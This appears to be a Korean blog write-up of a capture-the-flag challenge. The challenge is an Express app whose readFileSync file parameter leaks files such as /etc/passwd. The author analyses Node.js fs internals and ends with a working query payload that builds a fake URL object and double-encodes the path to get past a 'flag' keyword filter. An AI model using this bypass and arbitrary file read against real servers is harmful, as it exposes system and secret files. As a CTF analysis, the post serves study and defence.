티스토리 뷰

728x90
반응형

문제 개요

문제 첫 페이지에 있는 링크를 클릭하면 위와 같은 페이지가 보입니다. file 파라미터에 /etc/passwd 를 입력하고 접속해보면 아래와 같이 /etc/passwd 파일의 내용이 출력되는 것을 알 수 있습니다.

다만 문제에서는 flag.txt 파일을 읽어와야했고, 주어진 소스코드에는 아래와 같이 flag 에 대한 필터링이 존재했습니다.

app.use((req, res, next) => {
    if([req.body, req.headers, req.query].some(
        (item) => {
            //console.log(item);
            console.log(JSON.stringify(item));
            return item && JSON.stringify(item).includes("flag");
        }
    )) {
        return res.send("bad hacker!");
    }
    next();
});

app.get("/", (req, res) => {
    try {
        console.log(req.query.file);
        res.setHeader("Content-Type", "text/html");
        res.send(fs.readFileSync(req.query.file || "index.html").toString());       
    }
    catch(err) {
        console.log(err);
        res.status(500).send("Internal server error");
    }
});

Express의 middleware 에서 flag 라는 문자열이 포함될 경우에 "bad hacker!" 라는 문자열이 페이지에 출력되도록 하고 있습니다.

 

언뜻보면 소문자 flag 만 검사하고 있어서 대문자를 섞어 쓰면 문제가 매우 쉽게 풀릴 것 같았습니다. 예를 들어 Flag.txt 와 같이 말이죠. 실제로 로컬호스트에서 주어진 소스코드를 구동해보면 flag.txt 파일의 내용이 출력되긴 합니다.

 

다만 원격 문제 서버에서는 이와 같은 풀이가 통하지 않았고, 서버에서는 파일을 찾을 수 없다는 듯이 500오류를 출력하기만 했습니다. 그리고 이에 대해서 문제 제작자에게 물어봤을 때 "NTFS 대소문자를 구별하지 않는 파일시스템을 사용하고 있어서 그렇다"라고 했습니다. 그럼 다른 방법으로 flag.txt 를 실행하게 해야한다는 것인데, 어떤 방법이 있는지는 현재 파일을 읽어오는 함수를 분석해야할 필요가 있어 보였습니다.

 

바로 아래 코드를 말이죠.

fs.readFileSync(req.query.file)

 

문제 풀이

정확한 소스코드는 아래 링크에서 찾아볼 수 있습니다.

https://github.com/nodejs/node/blob/v18.x/lib/fs.js#L464

 

GitHub - nodejs/node: Node.js JavaScript runtime

Node.js JavaScript runtime :sparkles::turtle::rocket::sparkles: - GitHub - nodejs/node: Node.js JavaScript runtime

github.com

 

우리가 파라미터로 넘기는 req.query.file 은 readFileSync 함수의 path 파라미터에 들어가게 됩니다.

그리고 다시 openSync의 함수에 들어갑니다.

// readFileSync 함수 내부에서 호출함
// fs.openSync(path, options.flag, 0o666);

function openSync(path, flags, mode) {
  path = getValidatedPath(path);
  const flagsNumber = stringToFlags(flags);
  mode = parseFileMode(mode, 'mode', 0o666);

  const ctx = { path };
  const result = binding.open(pathModule.toNamespacedPath(path),
                              flagsNumber, mode,
                              undefined, ctx);
  handleErrorFromBinding(ctx);
  return result;
}

그리고 getValidatedPath(path) 가 보입니다. 해당 함수는 require('internal/fs/utils')에서 import 해오고 있습니다.

const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => {
  const path = toPathIfFileURL(fileURLOrPath);
  validatePath(path, propName);
  return path;
});

path 파라미터로 들어온 값인 fileURLOrPath 값을 toPathIfFileURL 함수에 넘깁니다.

function toPathIfFileURL(fileURLOrPath) {
  if (!isURLInstance(fileURLOrPath))
    return fileURLOrPath;
  return fileURLToPath(fileURLOrPath);
}

그리고 fileURLOrPath 값이 URL 인스턴스인지 아닌지 체크하고 있습니다. URL인스턴스 인지는 어떻게 체크하고 있는걸까요?

function isURLInstance(fileURLOrPath) {
  return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}

단순히 속성으로 href 와 origin 이 존재하는지 여부를 확인하고 있는 걸 알 수 있습니다. 그리고 당연히 문자열로 사용자가 파라미터로 넘기는 값은 URL instance가 아닌 단순 문자열이기 때문에 fileURLToPath 함수로 넘어가게 될 겁니다.

function fileURLToPath(path) {
  if (typeof path === 'string')
    path = new URL(path);
  else if (!isURLInstance(path))
    throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
  if (path.protocol !== 'file:')
    throw new ERR_INVALID_URL_SCHEME('file');
  return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);
}

그럼 문자열로 들어온 path 값을 new URL 로 path 값을 URL 인스턴스로 만들어주고 마지막으로 path.protocol 이 file 프로토콜인지 확인하고, 운영체제에 따라서 getPathFromURLWin32 또는 getPathFromURLPosix 함수를 실행합니다.

 

문제 서버의 경우에는 Linux 이기 때문에 getPathFromURLPosix 함수를 추적해봅시다.

function getPathFromURLPosix(url) {
  if (url.hostname !== '') {
    throw new ERR_INVALID_FILE_URL_HOST(platform);
  }
  const pathname = url.pathname;
  for (let n = 0; n < pathname.length; n++) {
    if (pathname[n] === '%') {
      const third = pathname.codePointAt(n + 2) | 0x20;
      if (pathname[n + 1] === '2' && third === 102) {
        throw new ERR_INVALID_FILE_URL_PATH(
          'must not include encoded / characters'
        );
      }
    }
  }
  return decodeURIComponent(pathname);
}

hostname이 있으면 오류가 나고, pathname을 url 디코딩하고 있는 것을 볼 수 있습니다.

 

그럼 결론적으로 단순 경로를 파라미터로 보내는 것으로는 flag.txt 파일을 절대 읽어볼 수 없기 때문에 URL 객체를 이용하는 방법을 써야한다는 것으로 결론이 납니다.

 

URL 인스턴스를 만들고 최종적으로 위 getPathFromURLPosix 함수에서 decodeURIComponent(pathname) 함수가 무사히 실행되도록 하기 위해서는 아래와 같은 조건을 만족해야 합니다.

1. href 속성의 값이 존재해야 함

2. origin 속성의 값이 존재해야 함

3. protocol 속성의 값이 file: 프로토콜이어야 함

4. hostname 이 공백이어야 함

5. pathname 이 flag.txt 이어야 함. 단, URL 더블 인코딩을 해서 필터링을 우회해야 함.

 

pathname의 경우에는 굳이 절대 경로로 쓸 필요 없는 것이 파일 이름만 쓰면 상대 경로로 접근하기 때문입니다.

그리고 URL 더블 인코딩을 해야하는 이유로는 Express 자체에서 우선 req.query.file 값을 URL 디코딩하고 해석하고 다시 getPathFromURLPosix 함수에서 URL 디코딩을 또 하기 때문에 더블 인코딩 방식을 쓸 수 있게 됩니다. 그리고 이 점 때문에 문자열에 flag 문자열이 들어가는 지 확인하는 코드를 우회할 수 있게 됩니다.

 

결론적으로 URL 파라미터 페이로드를 만들면 다음과 같습니다.

?file[href]=asdf&file[origin]=asdf&file[protocol]=file:&file[hostname]=&file[pathname]=%25%36%36lag.txt

이렇게 보내면 아래와 같이 flag 를 획득할 수 있습니다.

node js의 internal 함수를 분석해서 푸는 문제였기 때문에 매우 흥미로웠던 문제였습니다.

 

- 끝 -

728x90
반응형
댓글